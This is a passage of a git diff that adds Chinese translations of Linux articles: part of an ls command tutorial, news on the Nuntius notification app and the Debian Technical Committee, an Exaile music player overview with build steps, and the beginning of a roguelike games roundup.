Jul 31 02:48 Videos + +### 3. 浏览隐藏文件 ### + +列出所有文件包括以‘.’开头的隐藏文件。 + + # ls -a + + . .bashrc Documents .gconfd install.log .nautilus .pulse-cookie + .. .cache Downloads .gnome2 install.log.syslog .netstat.swp .recently-used.xbel + 0001.pcap .config .elinks .gnome2_private .kde .opera .spice-vdagent + anaconda-ks.cfg .cshrc .esd_auth .gtk-bookmarks .libreoffice Pictures .tcshrc + .bash_history .dbus .fbcmd .gvfs .local .pki Templates + .bash_logout Desktop fbcmd_update.php .ICEauthority .mozilla Public Videos + .bash_profile .digrc .gconf index.html Music .pulse .wireshark + +### 4. 用 -lh 选项来以易读方式列出文件 ### + +用-lh组合选项,以易读方式来显示大小。 + + # ls -lh + + total 176K + -rw-r--r--. 1 root root 683 Aug 19 09:59 0001.pcap + -rw-------. 1 root root 1.6K Jul 31 02:17 anaconda-ks.cfg + drwxr-xr-x. 2 root root 4.0K Jul 31 02:48 Desktop + drwxr-xr-x. 2 root root 4.0K Jul 31 02:48 Documents + drwxr-xr-x. 4 root root 4.0K Aug 16 02:55 Downloads + -rw-r--r--. 1 root root 21K Aug 12 12:42 fbcmd_update.php + -rw-r--r--. 1 root root 46K Jul 31 09:58 index.html + -rw-r--r--. 1 root root 48K Jul 31 02:17 install.log + -rw-r--r--. 1 root root 12K Jul 31 02:13 install.log.syslog + drwxr-xr-x. 2 root root 4.0K Jul 31 02:48 Music + drwxr-xr-x. 2 root root 4.0K Jul 31 02:48 Pictures + drwxr-xr-x. 2 root root 4.0K Jul 31 02:48 Public + drwxr-xr-x. 2 root root 4.0K Jul 31 02:48 Templates + drwxr-xr-x. 2 root root 4.0K Jul 31 02:48 Videos + +### 5. 以尾部以‘/’字符结尾的方式列出文件和目录 ### + +使用 ls 命令的 -F 选项,会在每个目录的末尾添加“/”字符显示。 + + # ls -F + + 0001.pcap Desktop/ Downloads/ index.html install.log.syslog Pictures/ Templates/ + anaconda-ks.cfg Documents/ fbcmd_update.php install.log Music/ Public/ Videos/ + +### 6. 倒序列出文件 ### + +ls -r 选项能以倒序方式显示文件和目录。 + + # ls -r + + Videos Public Music install.log fbcmd_update.php Documents anaconda-ks.cfg + Templates Pictures install.log.syslog index.html Downloads Desktop 0001.pcap + +### 7. 递归列出子目录 ### + +ls -R 选项能列出非常长的目录树,来看看示例输出: + + # ls -R + + total 1384 + -rw-------. 1 root root 33408 Aug 8 17:25 anaconda.log + -rw-------. 1 root root 30508 Aug 8 17:25 anaconda.program.log + + ./httpd: + total 132 + -rw-r--r-- 1 root root 0 Aug 19 03:14 access_log + -rw-r--r--. 1 root root 61916 Aug 10 17:55 access_log-20120812 + + ./lighttpd: + total 68 + -rw-r--r-- 1 lighttpd lighttpd 7858 Aug 21 15:26 access.log + -rw-r--r--. 1 lighttpd lighttpd 37531 Aug 17 18:21 access.log-20120819 + + ./nginx: + total 12 + -rw-r--r--. 1 root root 0 Aug 12 03:17 access.log + -rw-r--r--. 1 root root 390 Aug 12 03:17 access.log-20120812.gz + +### 8. 以修改时间倒序列出 ### + +带-ltr组合选项能以文件或目录的最新修改时间的次序来显示它们。 + + # ls -ltr + + total 176 + -rw-r--r--. 1 root root 11439 Jul 31 02:13 install.log.syslog + -rw-r--r--. 1 root root 48867 Jul 31 02:17 install.log + -rw-------. 1 root root 1586 Jul 31 02:17 anaconda-ks.cfg + drwxr-xr-x. 2 root root 4096 Jul 31 02:48 Desktop + drwxr-xr-x. 2 root root 4096 Jul 31 02:48 Videos + drwxr-xr-x. 2 root root 4096 Jul 31 02:48 Templates + drwxr-xr-x. 2 root root 4096 Jul 31 02:48 Public + drwxr-xr-x. 2 root root 4096 Jul 31 02:48 Pictures + drwxr-xr-x. 2 root root 4096 Jul 31 02:48 Music + drwxr-xr-x. 2 root root 4096 Jul 31 02:48 Documents + -rw-r--r--. 1 root root 46701 Jul 31 09:58 index.html + -rw-r--r--. 1 root root 21262 Aug 12 12:42 fbcmd_update.php + drwxr-xr-x. 4 root root 4096 Aug 16 02:55 Downloads + -rw-r--r--. 1 root root 683 Aug 19 09:59 0001.pcap + +### 9. 按文件大小排序 ### + +带-lS组合选项能按文件从大到小的次序显示。 + + # ls -lS + + total 176 + -rw-r--r--. 1 root root 48867 Jul 31 02:17 install.log + -rw-r--r--. 1 root root 46701 Jul 31 09:58 index.html + -rw-r--r--. 1 root root 21262 Aug 12 12:42 fbcmd_update.php + -rw-r--r--. 1 root root 11439 Jul 31 02:13 install.log.syslog + drwxr-xr-x. 2 root root 4096 Jul 31 02:48 Desktop + drwxr-xr-x. 2 root root 4096 Jul 31 02:48 Documents + drwxr-xr-x. 4 root root 4096 Aug 16 02:55 Downloads + drwxr-xr-x. 2 root root 4096 Jul 31 02:48 Music + drwxr-xr-x. 2 root root 4096 Jul 31 02:48 Pictures + drwxr-xr-x. 2 root root 4096 Jul 31 02:48 Public + drwxr-xr-x. 2 root root 4096 Jul 31 02:48 Templates + drwxr-xr-x. 2 root root 4096 Jul 31 02:48 Videos + -rw-------. 1 root root 1586 Jul 31 02:17 anaconda-ks.cfg + -rw-r--r--. 1 root root 683 Aug 19 09:59 0001.pcap + +### 10. 显示文件或目录的索引节点号 ### + +我们有时候可以看到一些数字打印在文件或目录名之前,带-i选项就能列出文件或目录的索引节点号。 + + # ls -i + + 20112 0001.pcap 23610 Documents 23793 index.html 23611 Music 23597 Templates + 23564 anaconda-ks.cfg 23595 Downloads 22 install.log 23612 Pictures 23613 Videos + 23594 Desktop 23585 fbcmd_update.php 35 install.log.syslog 23601 Public + +### 11. 显示ls命令的版本 ### + +查看ls命令的版本。 + + # ls --version + + ls (GNU coreutils) 8.4 + Copyright (C) 2010 Free Software Foundation, Inc. + License GPLv3+: GNU GPL version 3 or later . + This is free software: you are free to change and redistribute it. + There is NO WARRANTY, to the extent permitted by law. + Written by Richard M. Stallman and David MacKenzie. + +### 12. 显示帮助页面 ### + +列出ls命令的选项帮助页面。 + + # ls --help + + Usage: ls [OPTION]... [FILE]... + +### 13. 列出目录信息 ### + +用ls -l命令列出/tmp目录下的文件,其中-ld参数可以只显示/tmp目录的信息。 + + # ls -l /tmp + total 408 + drwx------. 2 narad narad 4096 Aug 2 02:00 CRX_75DAF8CB7768 + -r--------. 1 root root 384683 Aug 4 12:28 htop-1.0.1.tar.gz + drwx------. 2 root root 4096 Aug 4 11:20 keyring-6Mfjnk + drwx------. 2 root root 4096 Aug 16 01:33 keyring-pioZJr + drwx------. 2 gdm gdm 4096 Aug 21 11:26 orbit-gdm + drwx------. 2 root root 4096 Aug 19 08:41 pulse-gl6o4ZdxQVrX + drwx------. 2 narad narad 4096 Aug 4 08:16 pulse-UDH76ExwUVoU + drwx------. 2 gdm gdm 4096 Aug 21 11:26 pulse-wJtcweUCtvhn + -rw-------. 1 root root 300 Aug 16 03:34 yum_save_tx-2012-08-16-03-34LJTAa1.yumtx + +---------- + + # ls -ld /tmp/ + + drwxrwxrwt. 13 root root 4096 Aug 21 12:48 /tmp/ + +### 14. 显示文件的UID和GID ### + +用ls -n命令来显示文件和目录的UID(译者注:userid,用户ID)和GID(译者注:groupid,组ID)。 + + # ls -n + + total 36 + drwxr-xr-x. 2 500 500 4096 Aug 2 01:52 Downloads + drwxr-xr-x. 2 500 500 4096 Aug 2 01:52 Music + drwxr-xr-x. 2 500 500 4096 Aug 2 01:52 Pictures + -rw-rw-r--. 1 500 500 12 Aug 21 13:06 tmp.txt + drwxr-xr-x. 2 500 500 4096 Aug 2 01:52 Videos + +### 15. ls命令和它的别名 ### + +我们给ls命令设置如下别名之后,当我们执行ls命令的时候它会默认执行-l选项并且像上文提到的那样显示长列表。 + + # alias ls="ls -l" + +注意:我们可以通过不加任何参数的alias命令来看到目前系统中可用的所有alias设置,当然它们同时也可以unalias来取消。 + + # alias + + alias cp='cp -i' + alias l.='ls -d .* --color=auto' + alias ll='ls -l --color=auto' + alias ls='ls --color=auto' + alias mv='mv -i' + alias rm='rm -i' + alias which='alias | /usr/bin/which --tty-only --read-alias --show-dot --show-tilde' + +删除一项之前定义的alias设置,只需用unalias命令即可。 + + # unalias ls + +下篇文章我们将讨论更多更高级的ls命令以及示例,如果我们在本文有遗漏了任何东西,请通过评论让我们获悉。 + +-------------------------------------------------------------------------------- + +via: http://www.tecmint.com/15-basic-ls-command-examples-in-linux/ + +作者:[Ravi Saive][a] +译者:[ZTinoZ](https://github.com/ZTinoZ) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://www.tecmint.com/author/admin/ diff --git a/published/201503/20150309 New App Brings Android Notifications to The GNOME Desktop.md b/published/201503/20150309 New App Brings Android Notifications to The GNOME Desktop.md new file mode 100644 index 0000000000..7b299029bb --- /dev/null +++ b/published/201503/20150309 New App Brings Android Notifications to The GNOME Desktop.md @@ -0,0 +1,39 @@ +一款在Gnome桌面中显示Andorid通知的程序 +================================================================================ + +**你很快就可以在GNOME桌面中看到Andorid通知了,这都要归功于一个正在开发中的新程序。** + +![Fancy seeing your Android alerts here? You can.](http://www.omgubuntu.co.uk/wp-content/uploads/2015/02/Screen-Shot-2015-02-24-at-17.47.48.png) +在这里看到Android通知是不是很棒?就可以了~ + +这个新的项目叫“Nuntius”,这可以让在Andorid手机上收到的通知显示在GNOME桌面上。它会集成在GNOME 3.16中,并且它[重新设计了通知系统][1],这个app和特性会用在其他更多的地方。 + +这个app的开发者希望在这个月GNOME 3.16发布之前可以完成,它将通过蓝牙工作来保证不会传给外部的系统或者使用在线存储。这意味着你的电话必须接近GNOME桌面来保证这个功能可用。 + +他现在还不能回复短消息或者对提醒采取操作。 + +开发团队警告说**这是一个早期发布版本**,那些打算期望很高人要有暂时只能提供部分功能的心理准备。 + +这个用来配合在GNOME桌面上看Android通知的移动端app现在已经在[Google Play商店][2]找到了,而GNOME程序已经放在Fedora的仓库中了。 + +开发者已经在Gituhb上开源了Android和GNOME接收端的程序。 + +在一两年前,[KDE桌面上已经有了][3]一个相似的工具 - ‘KDE Connect,它通过Pushbullet来为使用Chrome的iOS和Android提供相似的功能,支持Windows、MAC和Linux桌面。 + +- [Nuntius for Android & GNOME on GitHub][4] + +-------------------------------------------------------------------------------- + +via: http://www.omgubuntu.co.uk/2015/03/new-app-brings-android-notifications-to-the-gnome-desktop + +作者:[Joey-Elijah Sneddon][a] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:https://plus.google.com/117485690627814051450/?rel=author +[1]:http://www.omgubuntu.co.uk/2015/02/4-reason-why-gnome-3-16-might-be-the-best-version-yet-gallery +[2]:https://play.google.com/store/apps/details?id=org.holylobster.nuntius +[3]:http://www.omgubuntu.co.uk/2014/06/kde-connect-android-notifications-linux-desktop +[4]:https://github.com/holylobster diff --git a/published/201503/New Debian TC Members Appointed For Going Past The Systemd Fallout.md b/published/201503/New Debian TC Members Appointed For Going Past The Systemd Fallout.md new file mode 100644 index 0000000000..d33e7d3b5d --- /dev/null +++ b/published/201503/New Debian TC Members Appointed For Going Past The Systemd Fallout.md @@ -0,0 +1,26 @@ +经过 systemd 争执后,辞职的 Debian TC 席位已被增补 +================================================================================ + +去年随着Debian 以 systemd 作为 init 管理器的决议,以及随后的 [init 系统投票][1],有三个人从 Debian 技术委员会退出:Colin Watson, [Ian Jackson][2], 以及 [Russ Allbery][3]。现在,这些空缺席位现已由现有的技术委员会成员任命。 + +新任命的技术委员会成员是 Sam Hartman, Tollef Fog Heen 以及 Didier Raboud。这些新成员加上Bdale Garbee, Don Armstrong, Andreas Barth, Steve Langasek 以及 Keith Packard 组成了现在的Debian技术委员会。由Debian章程确定的 Debian 技术委员会(TC)负责对 Debian 项目中的技术争端做出最后的决定,他们在去年所有的关于 init 系统的讨论中变得十分重要。 + +![](http://www.phoronix.net/image.php?id=debconf12_managua&image=debconf_12_conference_med) + +新技术委员会成员的委任公告可以从 [debian-devel-announce列表][4] 中获悉。 + +-------------------------------------------------------------------------------- + +via: http://www.phoronix.com/scan.php?page=news_item&px=Debian-TC-Three-Appointments + +作者:[Michael Larabel][a] +译者:[alim0x](https://github.com/alim0x) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://www.michaellarabel.com/ +[1]:http://www.phoronix.com/scan.php?page=news_item&px=MTg0MzY +[2]:http://www.phoronix.com/scan.php?page=news_item&px=MTg0NDA +[3]:http://www.phoronix.com/scan.php?page=news_item&px=MTg0MjM +[4]:https://lists.debian.org/debian-devel-announce/2015/03/msg00003.html diff --git a/published/201504/20141106 Exaile 3.4.1 Overview--A Feature-Complete GNOME Music Player.md b/published/201504/20141106 Exaile 3.4.1 Overview--A Feature-Complete GNOME Music Player.md new file mode 100644 index 0000000000..af58c52b1d --- /dev/null +++ b/published/201504/20141106 Exaile 3.4.1 Overview--A Feature-Complete GNOME Music Player.md @@ -0,0 +1,75 @@ +Exaile 3.4.1 概览:一个全功能的GNOME音乐播放器 +================================================================================ +**Exaile** 在过去两年显得有些平静,也许只有一个或者两个稳定版发布,但尽管如此,在功能方面,它是一个和[Rhythmbox][1]或者[Banshee][2]相匹敌的全功能GNOME音乐播放器。不过,在过去的两个月,在"We’re not dead yet"的口号下,他们推出了一个新的稳定版3.4,同时在11月1日还推出了3.4.1增量版本。事实上,Exaile有很多的功能,我可以继续写很多的文章而不是在一篇文章里全部介绍到,就让我们来看一下一些最显著的特点吧。 + +![](http://www.tuxarena.com/wp-content/uploads/2014/11/exaile02.jpg) + +[Exaile][3]是基于GTK-2,用Python写的音乐播放器,它能很好地兼容GNOME,有和旧的Amarok1.4或者Clementine非常类似的界面,以及一些很好的功能。界面主要由两个面板组成,两个都支持标签。左边的面板提供对音乐集,网络音频,智能和自定义播放列表,文件浏览,播客,组标签以及歌词的访问,窗口的主要部分是播放列表(支持多个列表,以标签方式组织的播放列表)和控制按钮。 + +Exaile的界面和Clementine或者Amarok1.4非常相似,可以显示或者隐藏左边的标签。 + +![](http://www.tuxarena.com/wp-content/uploads/2014/11/exaile04.jpg) + +版本3.4增加了很多新的主要功能和更改,而3.4.1是一个小的bug修复版本。版本3.4的新功能包括类似Icecast的新插件,歌词同步,播放列表分析器,Soma.fm,以及新的更简单的插件API。用户界面和一般操作也作了修改,包括可以在多个面板显示播放列表,关闭左边的面板以及更好的BPM用户界面集成。 + +第一次打开Exaile你可以添加歌曲文件夹到音乐集中-你也可以选择添加文件夹并设置在打开Exaile的时候是否监视或者扫描这些文件夹: + +![](http://www.tuxarena.com/wp-content/uploads/2014/11/exaile01.jpg) + +Exaile的功能几乎不尽其数。你可以在音乐集中组织音乐,听播客,对音乐进行评分,编辑标签,查看文件属性,排列歌曲,查看歌曲和封面,按照多种方式排序播放列表,更改播放行为和外观风格。 + +均衡器,封面管理以及收听网络电台: + +![](http://www.tuxarena.com/wp-content/uploads/2014/11/exaile05.jpg) + +自动检测本地专辑封面,可以全尺寸显示,放大或者缩小: + +![](http://www.tuxarena.com/wp-content/uploads/2014/11/exaile03.jpg) + +首选项窗口允许配置Exaile的各个方面,包括启用或者禁用插件,外观,系统托盘集成或者播放模式。外观设置允许你更改标签的布局,显示或者隐藏便签栏,启用或者禁用透明性或者禁用启动画面。 + +![](http://www.tuxarena.com/wp-content/uploads/2014/11/exaile_preferences_01.jpg) + +![](http://www.tuxarena.com/wp-content/uploads/2014/11/exaile_preferences_02.jpg) + +系统托盘集成提供了一个快速播放或者暂停音乐,对音乐评分或者更改音乐列表播放模式(随机,重复或者动态)的菜单。 + +![](http://www.tuxarena.com/wp-content/uploads/2014/11/exaile_tray.jpg) + +![](http://www.tuxarena.com/wp-content/uploads/2014/11/exaile_tray.jpg) + +我相信Exaile数不尽的功能使它成为音乐播放器的完美选择,尤其是对于GNOME用户。每个用户都会对丰富多样的选项和高度可配置的方式感到满意。 + +### 在Ubuntu 14.04 和 14.10上安装Exaile 3.4.1 ### + +从源码编译并安装和简单明了。首先获取依赖包: + + sudo apt-get build-dep exaile + sudo apt-get install python-gst0.10 + +从[下载页面][4](或者直接点击[这里][5])下载源码包,然后解压: + + tar -xf exaile-3.4.1.tar.gz + +更改工作目录到exaile-3.4.1然后运行下面的命令: + + make + sudo make install + +二进制可执行文件将被安装为 **/usr/local/bin/exaile**. + +-------------------------------------------------------------------------------- + +via: http://www.tuxarena.com/2014/11/exaile-3-4-1-overview-a-feature-complete-gnome-music-player/ + +作者:Craciun Dan +译者:[ictlyh](https://github.com/ictlyh) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:https://wiki.gnome.org/Apps/Rhythmbox +[2]:http://banshee.fm/ +[3]:http://www.exaile.org/ +[4]:http://www.exaile.org/download/ +[5]:https://github.com/exaile-dev/exaile/archive/3.4.1.tar.gz \ No newline at end of file diff --git a/published/201504/20141204 Intense Gameplay--Try these 13 Roguelike games.md b/published/201504/20141204 Intense Gameplay--Try these 13 Roguelike games.md new file mode 100644 index 0000000000..f271a53e1f --- /dev/null +++ b/published/201504/20141204 Intense Gameplay--Try these 13 Roguelike games.md @@ -0,0 +1,401 @@ +想找点激烈的游戏?那就试试这 13 款 Roguelike 游戏吧! +================================================================================ +Roguelike 是角色扮演游戏的一个子类。从字面上看,它的意思是 “像 Rogue 的游戏”。Rogue 是一个关于地下城冒险的视频游戏,于 1980 年第一次发行,以极其上瘾而著称。这个游戏的目标是取得深藏于第 26 层的 "Amulet of Yendor",再返回到顶层逃出生天。 + +Roguelike 的准确定义并不存在,但这类游戏通常具有下面的特点: + +- 奇幻的叙事背景; +- 用程序产生关卡。游戏中的绝大多数场景在开始新的游戏时由游戏自动创建。这样做是为了鼓励玩家不断重玩; +- 回合制的地下城探险和战斗; +- 随机生成的基于贴片的图形环境; +- 随机发生战斗; +- 永久死亡 :在游戏中,死亡真的存在,一旦你的角色死了,那就真的结束了; +- 高难度。 + +这篇文章精心挑选了一些可运行在 Linux 平台下的 roguelike 游戏。假如你喜欢激烈、易上瘾的游戏,可以尝试这 13 款游戏。不要因它们原始的画质而退缩,一旦你沉浸其中,你将很快忘记画面的简陋。所有的这些都可以免费下载,并且几乎所有的游戏都是在开源协议下发行的。 + +---------- + +###Dungeon Crawl Stone Soup + +![](http://www.linuxlinks.com/portal/content/reviews/Games/Screenshot-Dungeon1.png) + +Dungeon Crawl Stone Soup 是一个开源的,单用户角色扮演类的 roguelike 游戏,玩家要在遍布危险而充满敌意的怪兽的地下城中进行探险和寻找宝藏,并在任务中拯救传说中的神秘 Zot 宝珠。 + +Dungeon Crawl Stone Soup 是 Linley 开发的 Dungeon Crawl 游戏的延续。它是公开开发的,并邀请 Crawl 社区的人员来参与其中。 + +Dungeon Crawl 有着超棒且深层次的战术游戏环节,创新的魔法和信仰系统,以及数量宏大的和你战斗的怪兽。Crawl 也是最难以攻陷的 roguelike 游戏之一。当你最终在游戏中通关,将胜利宣言张贴在 rec.games.roguelike.misc 时,你才会知道这有多么令人骄傲! + +特点包括: + +- 丰富多彩的、富含深层次战术的 roguelike 游戏; +- 手绘地图; +- 无数的金库; +- 漂亮的界面; +- 创新的魔法和信仰系统; +- 各种神灵,角色,物品和聪明的怪兽; + +- 网站: [crawl.develz.org][1] +- 开发者: Stone Soup 开发小组 +- 协议: Crawl General Public License +- 版本号: 0.15.2 + +---------- + +###Dwarf Fortress + +![](http://www.linuxlinks.com/portal/content/reviews/Games/Screenshot-DwarfFortress.png) + +Dwarf Fortress 是一个单人魔幻游戏,与 NetHack 类似。你可以在一个随机生成的持久的世界中,控制一个矮人哨兵或一个冒险者。 + +这个游戏的特色有:三种游戏模式(矮人要塞,冒险者,传说模式),一个独特的随机生成的世界(由地形,野生生物和传奇生物等组成), 阴森的战斗机制以及各种邪恶鱼群。 + +特点包括: + +- 在这个世界里,你想玩多久都可以。可以经历许多次游戏,记录历史事件,对更改进行跟踪等; +- 当你扮演的矮人在山群中寻找宝藏时,你可以对他们下达命令 + - 用各种材料来手工制作珍宝、物品,并可以用贵重金属、宝石等来改进它们; + - 通过各种手段保护你自己,防御来自敌对文明的袭击; + - 支持贵族,他们会管理你的民众 + - 让你的矮人高兴起来,了解他们工作和休闲时的想法; + - 不同的 Z 坐标可以使你在多个层级上建造你的堡垒。建立塔台或征服地下深处; + - 建立水闸来灌溉作物或用水淹没你的对手; +- 扮演一个探险者并进行探索,为荣誉而战或复仇 + - 与以前的游戏中的对手相遇; + - 在你经过的旅途中营救小城里的人们; + - 没有繁琐的情节,只需要探索; + - 无缝连接的漫游游戏世界-总共达到 197376 x 197376 平方 -可以在区域地图上更快速地穿行; + - 接受小镇或文明社会的领导所委托的任务; + - 可以找到你以前的角色,以一个新的角色带上他们来一场新的冒险,或者直接重新激活并使用他们; + - 通过 Z 轴使得你可以在各个地下城的不同层级间和结构间平滑的上下移动来和对手战斗; +- 战斗模式是通过技巧、身体部位、搏斗、在不同区域间蓄势和躲避,体验流血、疼痛,恶心及其他感受; +- 一个动态的天气模型跟踪风,湿度及空气流动,以创造冷暖气流锋面、风、暴风雨雪; +- 超过 200 种岩石和矿物类型被引入到了游戏世界,它们被放置在合适的地理环境中; +- 通过可更改的文本文件来添加生物,武器,植物,金属和其他对象; +- 以 16 色(包括黑色)渲染的扩展 ASCII 字符集,以及 8 种背景颜色(包括黑色); + +- 网站: [www.bay12games.com/dwarves/][2] +- 开发者: Tarn Adams +- 协议: 免费软件 +- 版本号: 0.40.19 + +---------- + +###Ancient Domains of Mystery + +![](http://www.linuxlinks.com/portal/content/reviews/Games2/Screenshot-ADOM.png) + +Ancient Domains of Mystery (ADOM) 是一个 rogue-like 游戏,从 1994 年至今一直在不断开发。 + +它是一个包含复杂地下城的单用户游戏。你控制一个用种族、类别、属性、技巧和装备等描述的虚构角色。这个虚构角色正尝试着达到一个特定的目标(参考下面的介绍)并在一个困难的任务中取胜。为了完成任务,你必须在以前没有发现的隧道和地下城中探险,和丑陋的怪兽战斗,解开一系列遗忘的秘密,并找到宝藏。 + +在游戏期间,你在每次游戏时随机生成的各层地下城中探索。你也可能遇到某个特定的关卡,其中有着特定的挑战或者围绕某个特定主题而生成。 + +特点包括: + +- 拥有上百个地点的巨大游戏世界,例如城堡、随机生成的地下城、主题寺庙、墓地、古代遗迹、塔台和其他名胜; +- 各种各样的种族(矮人、drakeling、雾精灵、hurthling、兽人、巨魔、ratling 等等)(LCTT注:种族信息可以参考[这里](http://ancardia.wikia.com/wiki/Race) 和丰富的职业(战士、 元素法师、 刺客、 混沌骑士,决斗士等等)带来无限的游戏乐趣; +- 上百个怪兽和物品,其中的许多带有随机的增强特性; +- 迫使你在对力量的欲望和对诅咒的恐惧之间进行权衡的腐败体系; +- 法术、祈祷、思想技艺、炼金术、手工艺和更多; +- 多样的任务和分支故事主线; +- 许多完全不同的结局,可能改变现实本身。 + +- 网站: [www.adom.de][3] +- 开发者: Thomas Biskup +- 协议: Postcardware +- 版本号: 1.20 Prelease 20 + +---------- + +###Tales of Maj’Eyal (ToME) + +![](http://www.linuxlinks.com/portal/content/reviews/Games2/Screenshot-ToME.png) + +Tales of Maj’Eyal (ToME) (注:中文译名为 马基埃亚尔的传说) 是一个免费、开源的 roguelike 角色扮演游戏,包含特色的战术回合制战役和先进角色构建。它作为运行在 T-Engine 4.0 中的一个模块而被创造。 + +现在处于王权世纪(Age of Ascendancy),在长达一万年的冲突痛苦和混乱之后,我们所知的世界终于进入了一个相对和平的时期。 “魔法大爆裂(Spellblaze)” 留下的影响已经大为减缓, 大地的伤痕也慢慢地开始愈合。在薪火世纪(Age of Pyre)之后,各个文明也纷纷开始重建家园。(注:翻译来源于 [这里](http://www.qiyun.org/zhuanti/majiaiyaerdechuanshuo.htm))    + +特点包括: + +- 适合于那些没有 rogueline 体验的玩家; +- 同时支持图形界面和 ASCII 模式; +- 某些角色拥有多达 40 种的能力; +- 天赋系统; +- 战役引擎; +- 在线的持久状态/成就追踪; +- IRC 聊天客户端; +- 可扩展,可修改; +- 充满激情的音乐; +- 可解锁新的种族,类别,起始点,游戏模式和特点等; + +- 网站: [te4.org][4] +- 开发者: ToME 开发团队 +- 协议: GNU GPL v3.0 +- 版本号: 1.2.5 + +---------- + +###Cataclysm Dark Days Ahead + +![](http://www.linuxlinks.com/portal/content/reviews/Games2/Screenshot-Cataclysm.png) + +Cataclysm 是一个开源的 “后末世” roguelike 游戏,背景设定在由怪兽和僵尸带来的毁灭性的瘟疫后虚构的新英格兰(New England) 乡村。它是 Whale 开发的原有 Cataclysm 的继续,拓展了更多新的生物,建筑,游戏机制和其他特点。 + +尽管有些人描述它为一个 “僵尸游戏”,但 Cataclysm 远比一个“僵尸游戏”包含更多内容。玩家要在一个由程序生成的严酷、持久的世界中艰难生存下去。在一个死寂的文明世界中搜寻剩下的食物和装备,或者假如你足够幸运,搞到一辆装满汽油的汽车逃离 Dodge --这个如地狱一般的地方。从僵尸到巨型昆虫或机器人杀手以及更加奇怪和致命的东西,你要通过战斗来击败它们或逃离,以及和那些想要抢夺你的东西的那些同你一样的人战斗。 + +在许多方面上, Cataclysm 与大多数的 roguelike 游戏不同。它被设定在一个没有边界的三维世界里,而不是设定在一个垂直、线性的地下城中。这意味着相比于大多数的 roguel 游戏,探险将占一个更大的比重,而且这个游戏将具有更大的自由度。由于地图是如此的巨大,在每次游戏之间,它可以完全保持原样。假如你死了,并以一个新的角色开始,你的新游戏将会设定在同你最近呆过的游戏世界相同的世界里。同许多 roguelike 游戏一样,你可以获得先前角色的战利品;而与大多数 roguelike 不同的是,你也可以重新踏上先前角色的轨迹,并且对世界做出的任何戏剧性改变将会维持到你的下一次游戏。 + +特点包括: + +- 详细的角色创建,提供了数量众多的特性来选择; +- 防御模式,这是一个有着快节奏作战的休息模式; +- Bionics;类似于在许多其他游戏里的魔法系统; +- 基因突变, 有好的和坏的变化; +- 无界的,完全随机的世界地图,可以在角色交替时保持不变; +- 创造物品 + - 新的制作方法可能需要通过练习或从书本中获得来磨练你的知识; +- 逼真的火、烟和其他动态的地图特效; +- 昼/夜循环,需要睡觉。假如你必须的话,可以使用咖啡因来保持更长时间的清醒,但这不健康; +- 超过 300 种物品类型,包括众多的现实世界的枪支,药品和工具; + - 许多药品是上瘾的,并需要持续使用来避免负面效果; +- 通过修补门、窗、建造陷阱和巩固你的家的基石来防止一个僵尸的突然造访; +- 能够构建你自己的木屋,包括墙和屋顶; +- 可以驾驶在“后末世”发现的汽车兜风; + - 这个可以根据你的需求来修改,或甚至你可以自己制造一辆; +- 温度系统,太冷或太热都非常危险; +- 初步支持贴片界面; +- 根据选项生成世界,以及各种编辑方式; + +- 网站: [en.cataclysmdda.com][5] +- 作者: Kevin Granade 及其他 +- 协议: Creative Commons Attribution-ShareAlike 3.0 Unported License +- 版本号: 0.B + +---------- + +###Goblin Hack + +![](http://www.linuxlinks.com/portal/content/reviews/Games2/Screenshot-GoblinHack.png) + +Goblin Hack 是一个开源 roguelike 游戏,基于 OpenGL 的平滑滚动的ASCII 图形界面。这个游戏受 NetHack 外观的启发,但更加快速且使用更少的按键。 + +Goblin Hack 有一个简洁的界面,在今天这个过度强调渲染的游戏世界中,似乎它对所有年龄段的玩家都有吸引力,并启发了这些玩家的想象力。 + +在被投进一个随机的正在生成的地下城之前,玩家可以从几个角色类别中选择一个角色。 + +特点包括: + +- 令人印象深刻的界面(相比于许多其他的 roguelike 游戏); +- 简洁的界面; +- 在被投进一个随机的正在生成的第一层地下城之前,玩家可以从几个角色类别中选择一个角色; +- 手动保存游戏; + +- 网站: [goblinhack.sourceforge.net][6], [github.com/goblinhack/goblinhack][7] +- 作者: Neil McGill +- 协议: GNU GPL v2 +- 版本号: 1.19 + +---------- + +###SLASH'EM + +![](http://www.linuxlinks.com/portal/content/reviews/Games2/Screenshot-SlashEM.png) + +Super Lotsa Added Stuff Hack - Extended Magic (SLASH'EM) 是一个角色扮演游戏,在其中你控制一个单独的角色。SLASH'EM 是 NetHack 的一个变种。它拥有一个和 Rogue、ADOM、Anghand 及 NetHack 相似的界面和游戏玩法。你通过键盘来控制角色的动作,以一个俯视的视角来查看这个世界。 + +背景: Amulet of Yendor 已被偷走,不仅如此,偷走 amulet 的 Wizard of Yendor(坏蛋)似乎深藏于 Dungeons of Doom(危险的地方)。 + +特点包括: + +- 提供额外的特色、怪兽和项目; +- 新颖的特点包括僧人职业和类似推箱子的关卡; +- 主地下城比在 NetHack 中的要大很多; + +- 网站: [www.slashem.org][8] +- 开发者: Slash'EM 开发团队 +- 协议: MIT License, NetHack General Public License +- 版本号: 0.0.7E7F3 + +---------- + +###NetHack + +![](http://www.linuxlinks.com/portal/content/reviews/Games/Screenshot-NetHack.jpg) + +NetHack 是一个极简,但又非常吸引人的具有地下城与龙风格的冒险游戏。“net”元素指的是它的发展已经根据网络进行了调整,“hack”元素指的是角色扮演游戏的一种类型,以乱砍、猛砍著称,着眼于战斗。 + +在 NetHack 中,你扮演凶猛的战士、巫师或许多其他职业中的一种,一路战斗着,为你的神灵获取 Amulet of Yendor(可以说这是一个倒退!)。在这个过程中,你可能会遇到一个或两个 quantum mechanic(LCTT 译注:从[这里](http://nethack.wikia.com/wiki/Quantum_mechanic)得知,这指的是一种怪兽),或者可能遇到一个小型的太空舰队,抑或是 —— 假如你*足够*幸运会遇到 —— Ravenous Bugblatter Beast of Traal。(LCTT 译注:我参考了[这里](http://nethack.wikia.com/wiki/Douglas_Adams))。 + +特点包括: + 